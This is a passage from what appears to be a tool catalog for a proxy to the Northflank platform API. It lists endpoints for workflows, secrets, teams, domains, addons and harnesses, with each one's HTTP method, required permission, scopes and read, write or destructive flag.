/api/v1/northflank/v1/projects/{projectId}/workflows/{workflowId}. Scopes: project:workflows:general:read. northflank_get_v1_projects_by_projectid_workflows_by_workflowid_runs (read) — List workflow runs via GET /v1/projects/{projectId}/workflows/{workflowId}/runs. Northflank permission required: Project > Workflows > Runs > Read. GET /api/v1/northflank/v1/projects/{projectId}/workflows/{workflowId}/runs. Scopes: project:workflows:runs:read. northflank_get_v1_projects_by_projectid_workflows_by_workflowid_runs_by_runid (read) — Get workflow run details via GET /v1/projects/{projectId}/workflows/{workflowId}/runs/{runId}. Northflank permission required: Project > Workflows > Runs > Read. GET /api/v1/northflank/v1/projects/{projectId}/workflows/{workflowId}/runs/{runId}. Scopes: project:workflows:runs:read. northflank_get_v1_regions (read) — List regions via GET /v1/regions. Northflank documents no required permission for it. Answers 200 with no credential at all (measured 2026-09-22), so a 200 here says nothing about the connection's token. GET /api/v1/northflank/v1/regions. Scopes: none. northflank_get_v1_secrets (read) — List global secrets via GET /v1/secrets. Northflank permission required: Account > GlobalSecrets > Secrets > Read. GET /api/v1/northflank/v1/secrets. Scopes: account:globalsecrets:secrets:read. northflank_get_v1_secrets_by_secretid (read) — Get global secret via GET /v1/secrets/{secretId}. Northflank documents no required permission for it. GET /api/v1/northflank/v1/secrets/{secretId}. Scopes: none. northflank_get_v1_tags (read) — List tags via GET /v1/tags. Northflank permission required: Account > Platform > Tags > Read. GET /api/v1/northflank/v1/tags. Scopes: account:platform:tags:read. northflank_get_v1_tags_by_resourcetagid (read) — Get tag via GET /v1/tags/{resourceTagId}. Northflank permission required: Account > Platform > Tags > Read. GET /api/v1/northflank/v1/tags/{resourceTagId}. Scopes: account:platform:tags:read. northflank_get_v1_teams (read) — List teams via GET /v1/teams. Northflank permission required: Organisation > Team > General > Read. GET /api/v1/northflank/v1/teams. Scopes: organisation:team:general:read. northflank_get_v1_teams_by_teamid (read) — Get team via GET /v1/teams/{teamId}. Northflank permission required: Organisation > Team > General > Read. GET /api/v1/northflank/v1/teams/{teamId}. Scopes: organisation:team:general:read. northflank_get_v1_teams_by_teamid_members (read) — List team members via GET /v1/teams/{teamId}/members. Northflank permission required: Account > Admin > Members > Read. GET /api/v1/northflank/v1/teams/{teamId}/members. Scopes: account:admin:members:read. northflank_get_v1_teams_by_teamid_roles (read) — List team roles via GET /v1/teams/{teamId}/roles. Northflank permission required: Account > Admin > Roles > Read. GET /api/v1/northflank/v1/teams/{teamId}/roles. Scopes: account:admin:roles:read. northflank_get_v1_teams_by_teamid_roles_by_roleid (read) — Get team role via GET /v1/teams/{teamId}/roles/{roleId}. Northflank permission required: Account > Admin > Roles > Read. GET /api/v1/northflank/v1/teams/{teamId}/roles/{roleId}. Scopes: account:admin:roles:read. northflank_get_v1_teams_by_teamid_roles_by_roleid_members (read) — List team role members via GET /v1/teams/{teamId}/roles/{roleId}/members. Northflank permission required: Account > Admin > Roles > Read. GET /api/v1/northflank/v1/teams/{teamId}/roles/{roleId}/members. Scopes: account:admin:roles:read. northflank_get_v1_templates (read) — List templates via GET /v1/templates. Northflank permission required: Account > Templates > General > Read. GET /api/v1/northflank/v1/templates. Scopes: account:templates:general:read. northflank_get_v1_templates_by_templateid (read) — Get template via GET /v1/templates/{templateId}. Northflank permission required: Account > Templates > General > Read. GET /api/v1/northflank/v1/templates/{templateId}. Scopes: account:templates:general:read. northflank_get_v1_templates_by_templateid_runs (read) — List template runs via GET /v1/templates/{templateId}/runs. Northflank permission required: Account > Templates > General > Read. GET /api/v1/northflank/v1/templates/{templateId}/runs. Scopes: account:templates:general:read. northflank_get_v1_templates_by_templateid_runs_by_templaterunid (read) — Get template run via GET /v1/templates/{templateId}/runs/{templateRunId}. Northflank permission required: Account > Templates > General > Read. GET /api/v1/northflank/v1/templates/{templateId}/runs/{templateRunId}. Scopes: account:templates:general:read. northflank_get_v1_tokens (read) — List api tokens via GET /v1/tokens. Northflank permission required: Account > Admin > ApiTokens > Read. GET /api/v1/northflank/v1/tokens. Scopes: account:admin:apitokens:read. northflank_get_v1_workload_identities (read) — List workload identities via GET /v1/workload-identities. Northflank permission required: Account > Cloud > WorkloadIdentities > Read. GET /api/v1/northflank/v1/workload-identities. Scopes: account:cloud:workloadidentities:read. northflank_get_v1_workload_identities_by_workloadidentityid (read) — Get workload identity via GET /v1/workload-identities/{workloadIdentityId}. Northflank permission required: Account > Cloud > WorkloadIdentities > Read. GET /api/v1/northflank/v1/workload-identities/{workloadIdentityId}. Scopes: account:cloud:workloadidentities:read. northflank_patch_v1_backup_destinations_by_backupdestinationid (write) — Patch backup destination via PATCH /v1/backup-destinations/{backupDestinationId}. Northflank permission required: Account > Platform > BackupDestinations > Update. PATCH /api/v1/northflank/v1/backup-destinations/{backupDestinationId}. Scopes: account:platform:backupdestinations:update. northflank_patch_v1_cloud_providers_clusters_by_clusterid (write) — Patch cluster via PATCH /v1/cloud-providers/clusters/{clusterId}. Northflank permission required: Account > Cloud > Clusters > Update. PATCH /api/v1/northflank/v1/cloud-providers/clusters/{clusterId}. Scopes: account:cloud:clusters:update. northflank_patch_v1_cloud_providers_integrations_by_integrationid (write) — Patch integration via PATCH /v1/cloud-providers/integrations/{integrationId}. Northflank permission required: Account > Cloud > Integrations > Update. PATCH /api/v1/northflank/v1/cloud-providers/integrations/{integrationId}. Scopes: account:cloud:integrations:update. northflank_patch_v1_domains_by_domain (write) — Update domain via PATCH /v1/domains/{domain}. Northflank permission required: Account > Networking > Domains > Update. PATCH /api/v1/northflank/v1/domains/{domain}. Scopes: account:networking:domains:update. northflank_patch_v1_domains_by_domain_subdomains_by_subdomain_geo_routing (write) — Update geo routing configuration via PATCH /v1/domains/{domain}/subdomains/{subdomain}/geo-routing. Northflank permission required: Account > Networking > Subdomains > Update. PATCH /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/geo-routing. Scopes: account:networking:subdomains:update. northflank_patch_v1_egress_ips_by_egressipid (write) — Patch egress ip via PATCH /v1/egress-ips/{egressIpId}. Northflank permission required: Account > Networking > EgressIps > Update. PATCH /api/v1/northflank/v1/egress-ips/{egressIpId}. Scopes: account:networking:egressips:update. northflank_patch_v1_gradual_rollout_strategies_by_gradualrolloutstrategyid (write) — Update gradual rollout strategy via PATCH /v1/gradual-rollout-strategies/{gradualRolloutStrategyId}. Northflank permission required: Account > Platform > GradualRollouts > Update. PATCH /api/v1/northflank/v1/gradual-rollout-strategies/{gradualRolloutStrategyId}. Scopes: account:platform:gradualrollouts:update. northflank_patch_v1_integrations_registries_by_credentialid (write) — Update registry via PATCH /v1/integrations/registries/{credentialId}. Northflank permission required: Account > Cloud > Registries > Update. PATCH /api/v1/northflank/v1/integrations/registries/{credentialId}. Scopes: account:cloud:registries:update. northflank_patch_v1_integrations_ssh_identities_by_identityid (write) — Update ssh identity via PATCH /v1/integrations/ssh-identities/{identityId}. Northflank permission required: Account > Platform > Ssh > Update. PATCH /api/v1/northflank/v1/integrations/ssh-identities/{identityId}. Scopes: account:platform:ssh:update. northflank_patch_v1_load_balancers_by_loadbalancerid (write) — Patch load balancer via PATCH /v1/load-balancers/{loadBalancerId}. Northflank permission required: Account > Networking > LoadBalancers > Update. PATCH /api/v1/northflank/v1/load-balancers/{loadBalancerId}. Scopes: account:networking:loadbalancers:update. northflank_patch_v1_network_policies_by_networkpolicyid (write) — Update network policy via PATCH /v1/network-policies/{networkPolicyId}. Northflank permission required: Account > Networking > NetworkPolicies > Update. PATCH /api/v1/northflank/v1/network-policies/{networkPolicyId}. Scopes: account:networking:networkpolicies:update. northflank_patch_v1_org_roles_by_roleid (write) — Update org role via PATCH /v1/org-roles/{roleId}. Northflank permission required: Organisation > Admin > Roles > Manage. PATCH /api/v1/northflank/v1/org-roles/{roleId}. Scopes: organisation:admin:roles:manage. northflank_patch_v1_projects_by_projectid (write) — Update project via PATCH /v1/projects/{projectId}. Northflank permission required: Project > Projects > Manage > Update. PATCH /api/v1/northflank/v1/projects/{projectId}. Scopes: project:projects:manage:update. northflank_patch_v1_projects_by_projectid_addons_by_addonid (write) — Patch addon via PATCH /v1/projects/{projectId}/addons/{addonId}. Northflank permission required: Project > Addons > General > Update. PATCH /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}. Scopes: project:addons:general:update. northflank_patch_v1_projects_by_projectid_external_addons_by_externaladdonid (write) — Update external addon via PATCH /v1/projects/{projectId}/external-addons/{externalAddonId}. Northflank permission required: Project > ExternalAddons > General > Update. PATCH /api/v1/northflank/v1/projects/{projectId}/external-addons/{externalAddonId}. Scopes: project:externaladdons:general:update. northflank_patch_v1_projects_by_projectid_harnesses_by_harnessid (write) — Patch harness via PATCH /v1/projects/{projectId}/harnesses/{harnessId}. Northflank permission required: Project > Harnesses > General > Update. PATCH /api/v1/northflank/v1/projects/{projectId}/harnesses/{harnessId}. Scopes: project:harnesses:general:update. northflank_patch_v1_projects_by_projectid_jobs_by_jobid (write) — Patch job via PATCH /v1/projects/{projectId}/jobs/{jobId}. Northflank permission required: Project > Jobs > General > Update. PATCH /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}. Scopes: project:jobs:general:update. northflank_patch_v1_projects_by_projectid_jobs_cron_by_jobid (write) — Patch cron job via PATCH /v1/projects/{projectId}/jobs/cron/{jobId}. Northflank permission required: Project > Jobs > General > Update. PATCH /api/v1/northflank/v1/projects/{projectId}/jobs/cron/{jobId}. Scopes: project:jobs:general:update. northflank_patch_v1_projects_by_projectid_jobs_manual_by_jobid (write) — Patch manual job via PATCH /v1/projects/{projectId}/jobs/manual/{jobId}. Northflank permission required: Project > Jobs > General > Update. PATCH /api/v1/northflank/v1/projects/{projectId}/jobs/manual/{jobId}. Scopes: project:jobs:general:update. northflank_patch_v1_projects_by_projectid_secrets_by_secretid (write) — Patch project secret via PATCH /v1/projects/{projectId}/secrets/{secretId}. Northflank documents no required permission for it. PATCH /api/v1/northflank/v1/projects/{projectId}/secrets/{secretId}. Scopes: none. northflank_patch_v1_projects_by_projectid_services_build_by_serviceid (write) — Patch build service via PATCH /v1/projects/{projectId}/services/build/{serviceId}. Northflank permission required: Project > Services > General > Update. PATCH /api/v1/northflank/v1/projects/{projectId}/services/build/{serviceId}. Scopes: project:services:general:update. northflank_patch_v1_projects_by_projectid_services_combined_by_serviceid (write) — Patch combined service via PATCH /v1/projects/{projectId}/services/combined/{serviceId}. Northflank permission required: Project > Services > General > Update. PATCH /api/v1/northflank/v1/projects/{projectId}/services/combined/{serviceId}. Scopes: project:services:general:update. northflank_patch_v1_projects_by_projectid_services_deployment_by_serviceid (write) — Patch deployment service via PATCH /v1/projects/{projectId}/services/deployment/{serviceId}. Northflank permission required: Project > Services > General > Update. PATCH /api/v1/northflank/v1/projects/{projectId}/services/deployment/{serviceId}. Scopes: project:services:general:update. northflank_patch_v1_secrets_by_secretid (write) — Patch global secret via PATCH /v1/secrets/{secretId}. Northflank documents no required permission for it. PATCH /api/v1/northflank/v1/secrets/{secretId}. Scopes: none. northflank_patch_v1_tags_by_resourcetagid (write) — Update tag via PATCH /v1/tags/{resourceTagId}. Northflank permission required: Account > Platform > Tags > Update. PATCH /api/v1/northflank/v1/tags/{resourceTagId}. Scopes: account:platform:tags:update. northflank_patch_v1_teams_by_teamid (write) — Update team via PATCH /v1/teams/{teamId}. Northflank permission required: Organisation > Team > General > Update. PATCH /api/v1/northflank/v1/teams/{teamId}. Scopes: organisation:team:general:update. northflank_patch_v1_teams_by_teamid_roles_by_roleid (write) — Update team role via PATCH /v1/teams/{teamId}/roles/{roleId}. Northflank permission required: Account > Admin > Roles > Manage. PATCH /api/v1/northflank/v1/teams/{teamId}/roles/{roleId}. Scopes: account:admin:roles:manage. northflank_patch_v1_workload_identities_by_workloadidentityid (write) — Update workload identity via PATCH /v1/workload-identities/{workloadIdentityId}. Northflank permission required: Account > Cloud > WorkloadIdentities > Update. PATCH /api/v1/northflank/v1/workload-identities/{workloadIdentityId}. Scopes: account:cloud:workloadidentities:update. northflank_post_v1_backup_destinations (write) — Add backup destination via POST /v1/backup-destinations. Northflank permission required: Account > Platform > BackupDestinations > Create. POST /api/v1/northflank/v1/backup-destinations. Scopes: account:platform:backupdestinations:create. northflank_post_v1_cloud_providers_clusters (write) — Create cluster via POST /v1/cloud-providers/clusters. Northflank permission required: Account > Cloud > Clusters > Create. POST /api/v1/northflank/v1/cloud-providers/clusters. Scopes: account:cloud:clusters:create. northflank_post_v1_cloud_providers_clusters_by_clusterid_nodes_by_nodeid_cordon (write) — Cordon cluster node via POST /v1/cloud-providers/clusters/{clusterId}/nodes/{nodeId}/cordon. Northflank permission required: Account > Cloud > Clusters > Update. POST /api/v1/northflank/v1/cloud-providers/clusters/{clusterId}/nodes/{nodeId}/cordon. Scopes: account:cloud:clusters:update. northflank_post_v1_cloud_providers_clusters_by_clusterid_nodes_by_nodeid_drain (write) — Drain cluster node via POST /v1/cloud-providers/clusters/{clusterId}/nodes/{nodeId}/drain. Northflank permission required: Account > Cloud > Clusters > Update. POST /api/v1/northflank/v1/cloud-providers/clusters/{clusterId}/nodes/{nodeId}/drain. Scopes: account:cloud:clusters:update. northflank_post_v1_cloud_providers_clusters_by_clusterid_nodes_by_nodeid_uncordon (write) — Uncordon cluster node via POST /v1/cloud-providers/clusters/{clusterId}/nodes/{nodeId}/uncordon. Northflank permission required: Account > Cloud > Clusters > Update. POST /api/v1/northflank/v1/cloud-providers/clusters/{clusterId}/nodes/{nodeId}/uncordon. Scopes: account:cloud:clusters:update. northflank_post_v1_cloud_providers_integrations (write) — Create integration via POST /v1/cloud-providers/integrations. Northflank permission required: Account > Cloud > Integrations > Create. POST /api/v1/northflank/v1/cloud-providers/integrations. Scopes: account:cloud:integrations:create. northflank_post_v1_cloud_providers_integrations_by_integrationid_workload_identity_provider_install (write) — Install workload identity provider via POST /v1/cloud-providers/integrations/{integrationId}/workload-identity-provider/install. Northflank permission required: Account > Cloud > WorkloadIdentities > Update. POST /api/v1/northflank/v1/cloud-providers/integrations/{integrationId}/workload-identity-provider/install. Scopes: account:cloud:workloadidentities:update. northflank_post_v1_domains (write) — Create new domain via POST /v1/domains. Northflank permission required: Account > Networking > Domains > Create. POST /api/v1/northflank/v1/domains. Scopes: account:networking:domains:create. northflank_post_v1_domains_by_domain_import (write) — Import domain certificate via POST /v1/domains/{domain}/import. Northflank permission required: Account > Networking > Domains > Update. POST /api/v1/northflank/v1/domains/{domain}/import. Scopes: account:networking:domains:update. northflank_post_v1_domains_by_domain_subdomains (write) — Add subdomain via POST /v1/domains/{domain}/subdomains. Northflank permission required: Account > Networking > Subdomains > Update. POST /api/v1/northflank/v1/domains/{domain}/subdomains. Scopes: account:networking:subdomains:update. northflank_post_v1_domains_by_domain_subdomains_by_subdomain_assign (write) — Assign service to subdomain via POST /v1/domains/{domain}/subdomains/{subdomain}/assign. Northflank permission required: Account > Networking > Subdomains > Update. POST /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/assign. Scopes: account:networking:subdomains:update. northflank_post_v1_domains_by_domain_subdomains_by_subdomain_cdn_disable (write) — Remove cdn from a subdomain via POST /v1/domains/{domain}/subdomains/{subdomain}/cdn/disable. Northflank permission required: Account > Networking > Subdomains > Update. POST /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/cdn/disable. Scopes: account:networking:subdomains:update. northflank_post_v1_domains_by_domain_subdomains_by_subdomain_cdn_enable (write) — Enable cdn on a subdomain via POST /v1/domains/{domain}/subdomains/{subdomain}/cdn/enable. Northflank permission required: Account > Networking > Subdomains > Update. POST /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/cdn/enable. Scopes: account:networking:subdomains:update. northflank_post_v1_domains_by_domain_subdomains_by_subdomain_cdn_purge (write) — Purge cdn cache for a subdomain via POST /v1/domains/{domain}/subdomains/{subdomain}/cdn/purge. Northflank permission required: Account > Networking > Subdomains > Update. POST /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/cdn/purge. Scopes: account:networking:subdomains:update. northflank_post_v1_domains_by_domain_subdomains_by_subdomain_certificate_import (write) — Import subdomain certificate via POST /v1/domains/{domain}/subdomains/{subdomain}/certificate/import. Northflank permission required: Account > Networking > Subdomains > Update. POST /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/certificate/import. Scopes: account:networking:subdomains:update. northflank_post_v1_domains_by_domain_subdomains_by_subdomain_paths (write) — Add subdomain path via POST /v1/domains/{domain}/subdomains/{subdomain}/paths. Northflank permission required: Account > Networking > SubdomainPaths > Create. POST /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/paths. Scopes: account:networking:subdomainpaths:create. northflank_post_v1_domains_by_domain_subdomains_by_subdomain_paths_by_subdomainpath (write) — Update subdomain path via POST /v1/domains/{domain}/subdomains/{subdomain}/paths/{subdomainPath}. Northflank permission required: Account > Networking > SubdomainPaths > Update. POST /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/paths/{subdomainPath}. Scopes: account:networking:subdomainpaths:update. northflank_post_v1_domains_by_domain_subdomains_by_subdomain_paths_by_subdomainpath_assign (write) — Assign subdomain path via POST /v1/domains/{domain}/subdomains/{subdomain}/paths/{subdomainPath}/assign. Northflank permission required: Account > Networking > SubdomainPaths > Update. POST /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/paths/{subdomainPath}/assign. Scopes: account:networking:subdomainpaths:update. northflank_post_v1_domains_by_domain_subdomains_by_subdomain_verify (write) — Verify subdomain via POST /v1/domains/{domain}/subdomains/{subdomain}/verify. Northflank permission required: Account > Networking > Subdomains > Update. POST /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/verify. Scopes: account:networking:subdomains:update. northflank_post_v1_domains_by_domain_verify (write) — Verify domain via POST /v1/domains/{domain}/verify. Northflank permission required: Account > Networking > Domains > Create. POST /api/v1/northflank/v1/domains/{domain}/verify. Scopes: account:networking:domains:create. northflank_post_v1_egress_ips (write) — Create egress ip via POST /v1/egress-ips. Northflank permission required: Account > Networking > EgressIps > Create. POST /api/v1/northflank/v1/egress-ips. Scopes: account:networking:egressips:create. northflank_post_v1_encryption_configurations (write) — Create encryption configuration via POST /v1/encryption/configurations. Northflank permission required: Account > Admin > Encryption > Create. POST /api/v1/northflank/v1/encryption/configurations. Scopes: account:admin:encryption:create. northflank_post_v1_encryption_configurations_by_encryptionconfigurationid_activate (write) — Activate encryption configuration via POST /v1/encryption/configurations/{encryptionConfigurationId}/activate. Northflank permission required: Account > Admin > Encryption > Manage. POST /api/v1/northflank/v1/encryption/configurations/{encryptionConfigurationId}/activate. Scopes: account:admin:encryption:manage. northflank_post_v1_encryption_configurations_by_encryptionconfigurationid_deactivate (write) — Deactivate encryption configuration via POST /v1/encryption/configurations/{encryptionConfigurationId}/deactivate. Northflank permission required: Account > Admin > Encryption > Manage. POST /api/v1/northflank/v1/encryption/configurations/{encryptionConfigurationId}/deactivate. Scopes: account:admin:encryption:manage. northflank_post_v1_encryption_configurations_by_encryptionconfigurationid_verify (read) — Verify encryption configuration via POST /v1/encryption/configurations/{encryptionConfigurationId}/verify. Northflank permission required: Account > Admin > Encryption > Read. POST /api/v1/northflank/v1/encryption/configurations/{encryptionConfigurationId}/verify. Scopes: account:admin:encryption:read. northflank_post_v1_encryption_northflank_managed_activate (write) — Enable northflank managed envelope encryption via POST /v1/encryption/northflank-managed/activate. Northflank permission required: Account > Admin > Encryption > Manage. POST /api/v1/northflank/v1/encryption/northflank-managed/activate. Scopes: account:admin:encryption:manage. northflank_post_v1_gradual_rollout_strategies (write) — Create gradual rollout strategy via POST /v1/gradual-rollout-strategies. Northflank permission required: Account > Platform > GradualRollouts > Create. POST /api/v1/northflank/v1/gradual-rollout-strategies. Scopes: account:platform:gradualrollouts:create. northflank_post_v1_integrations_log_sinks (write) — Create log sink via POST /v1/integrations/log-sinks. Northflank permission required: Account > Observability > LogSinks > Create. POST /api/v1/northflank/v1/integrations/log-sinks. Scopes: account:observability:logsinks:create. northflank_post_v1_integrations_log_sinks_by_logsinkid_pause (write) — Pause log sink via POST /v1/integrations/log-sinks/{logSinkId}/pause. Northflank permission required: Account > Observability > LogSinks > Update. POST /api/v1/northflank/v1/integrations/log-sinks/{logSinkId}/pause. Scopes: account:observability:logsinks:update. northflank_post_v1_integrations_log_sinks_by_logsinkid_resume (write) — Resume log sink via POST /v1/integrations/log-sinks/{logSinkId}/resume. Northflank permission required: Account > Observability > LogSinks > Update. POST /api/v1/northflank/v1/integrations/log-sinks/{logSinkId}/resume. Scopes: account:observability:logsinks:update. northflank_post_v1_integrations_log_sinks_by_logsinkid_settings (write) — Update log sink via POST /v1/integrations/log-sinks/{logSinkId}/settings. Northflank permission required: Account > Observability > LogSinks > Update. POST /api/v1/northflank/v1/integrations/log-sinks/{logSinkId}/settings. Scopes: account:observability:logsinks:update. northflank_post_v1_integrations_notifications (write) — Create notification integration via POST /v1/integrations/notifications. Northflank permission required: Account > Observability > Notifications > Create. POST /api/v1/northflank/v1/integrations/notifications. Scopes: account:observability:notifications:create. northflank_post_v1_integrations_notifications_by_notificationid (write) — Update notification integration via POST /v1/integrations/notifications/{notificationId}. Northflank permission required: Account > Observability > Notifications > Update. POST /api/v1/northflank/v1/integrations/notifications/{notificationId}. Scopes: account:observability:notifications:update. northflank_post_v1_integrations_registries (write) — Add registry via POST /v1/integrations/registries. Northflank permission required: Account > Cloud > Registries > Create. POST /api/v1/northflank/v1/integrations/registries. Scopes: account:cloud:registries:create. northflank_post_v1_integrations_ssh_identities (write) — Add ssh identity via POST /v1/integrations/ssh-identities. Northflank permission required: Account > Platform > Ssh > Create. POST /api/v1/northflank/v1/integrations/ssh-identities. Scopes: account:platform:ssh:create. northflank_post_v1_integrations_vcs_custom_by_customvcsid_token_by_vcslinkid (read) — Generate vcs token via POST /v1/integrations/vcs/custom/{customVCSId}/token/{vcsLinkId}. Northflank permission required: Account > Git > Tokens > Read. POST /api/v1/northflank/v1/integrations/vcs/custom/{customVCSId}/token/{vcsLinkId}. Scopes: account:git:tokens:read. northflank_post_v1_integrations_vcs_link_sessions (write) — Create vcs link session via POST /v1/integrations/vcs/link-sessions. Northflank permission required: Account > Git > General > Manage. POST /api/v1/northflank/v1/integrations/vcs/link-sessions. Scopes: account:git:general:manage. northflank_post_v1_integrations_vcs_repo_access (read) — Check repository access via POST /v1/integrations/vcs/repo-access. Northflank permission required: Account > Git > General > Read. POST /api/v1/northflank/v1/integrations/vcs/repo-access. Scopes: account:git:general:read. northflank_post_v1_load_balancers (write) — Create load balancer via POST /v1/load-balancers. Northflank permission required: Account > Networking > LoadBalancers > Create. POST /api/v1/northflank/v1/load-balancers. Scopes: account:networking:loadbalancers:create. northflank_post_v1_network_policies (write) — Create network policy via POST /v1/network-policies. Northflank permission required: Account > Networking > NetworkPolicies > Create. POST /api/v1/northflank/v1/network-policies. Scopes: account:networking:networkpolicies:create. northflank_post_v1_org_roles (write) — Create org role via POST /v1/org-roles. Northflank permission required: Organisation > Admin > Roles > Manage. POST /api/v1/northflank/v1/org-roles. Scopes: organisation:admin:roles:manage. northflank_post_v1_org_roles_by_roleid_members (write) — Add member to org role via POST /v1/org-roles/{roleId}/members. Northflank permission required: Organisation > Admin > Roles > Manage. POST /api/v1/northflank/v1/org-roles/{roleId}/members. Scopes: organisation:admin:roles:manage. northflank_post_v1_projects (write) — Create project via POST /v1/projects. Northflank permission required: Project > Projects > Manage > Create. POST /api/v1/northflank/v1/projects. Scopes: project:projects:manage:create. northflank_post_v1_projects_by_projectid_addons (write) — Create addon via POST /v1/projects/{projectId}/addons. Northflank permission required: Project > Addons > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/addons. Scopes: project:addons:general:create. northflank_post_v1_projects_by_projectid_addons_by_addonid_backup_schedules (write) — Create addon backup schedule via POST /v1/projects/{projectId}/addons/{addonId}/backup-schedules. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backup-schedules. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_backups (write) — Backup addon via POST /v1/projects/{projectId}/addons/{addonId}/backups. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backups. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_backups_by_backupid_abort (write) — Abort backup via POST /v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/abort. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/abort. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_backups_by_backupid_abort_restore (write) — Abort backup restore via POST /v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/abort-restore. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/abort-restore. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_backups_by_backupid_restore (write) — Restore addon backup via POST /v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/restore. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/restore. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_backups_by_backupid_retain (write) — Retain backup via POST /v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/retain. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/retain. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_import (write) — Import addon backup via POST /v1/projects/{projectId}/addons/{addonId}/import. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/import. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_network_settings (write) — Update addon network settings via POST /v1/projects/{projectId}/addons/{addonId}/network-settings. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/network-settings. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_pause (write) — Pause addon via POST /v1/projects/{projectId}/addons/{addonId}/pause. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/pause. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_reset (write, destructive) — Reset addon via POST /v1/projects/{projectId}/addons/{addonId}/reset. Northflank permission required: Project > Addons > General > Delete. DESTRUCTIVE: Northflank requires the 'Project > Addons > General > Delete' permission for this, not an Update one -- resetting an addon discards its data. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/reset. Scopes: project:addons:general:delete. northflank_post_v1_projects_by_projectid_addons_by_addonid_restart (write) — Restart addon via POST /v1/projects/{projectId}/addons/{addonId}/restart. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/restart. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_resume (write) — Resume addon via POST /v1/projects/{projectId}/addons/{addonId}/resume. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/resume. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_scale (write) — Scale addon resources via POST /v1/projects/{projectId}/addons/{addonId}/scale. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/scale. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_secret_rotation (write) — Rotate addon secrets via POST /v1/projects/{projectId}/addons/{addonId}/secret-rotation. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/secret-rotation. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_secret_rotation_finalise (write) — Finalise addon secret rotation via POST /v1/projects/{projectId}/addons/{addonId}/secret-rotation/finalise. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/secret-rotation/finalise. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_security (write) — Update addon security rules via POST /v1/projects/{projectId}/addons/{addonId}/security. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/security. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_addons_by_addonid_version (write) — Upgrade addon version via POST /v1/projects/{projectId}/addons/{addonId}/version. Northflank permission required: Project > Addons > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/version. Scopes: project:addons:general:update. northflank_post_v1_projects_by_projectid_external_addons (write) — Create external addon via POST /v1/projects/{projectId}/external-addons. Northflank permission required: Project > ExternalAddons > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/external-addons. Scopes: project:externaladdons:general:create. northflank_post_v1_projects_by_projectid_harnesses (write) — Create harness via POST /v1/projects/{projectId}/harnesses. Northflank permission required: Project > Harnesses > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/harnesses. Scopes: project:harnesses:general:create. northflank_post_v1_projects_by_projectid_harnesses_by_harnessid_pause (write) — Pause harness via POST /v1/projects/{projectId}/harnesses/{harnessId}/pause. Northflank permission required: Project > Harnesses > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/harnesses/{harnessId}/pause. Scopes: project:harnesses:general:update. northflank_post_v1_projects_by_projectid_harnesses_by_harnessid_restart (write) — Restart harness via POST /v1/projects/{projectId}/harnesses/{harnessId}/restart. Northflank permission required: Project > Harnesses > General > Update. POST 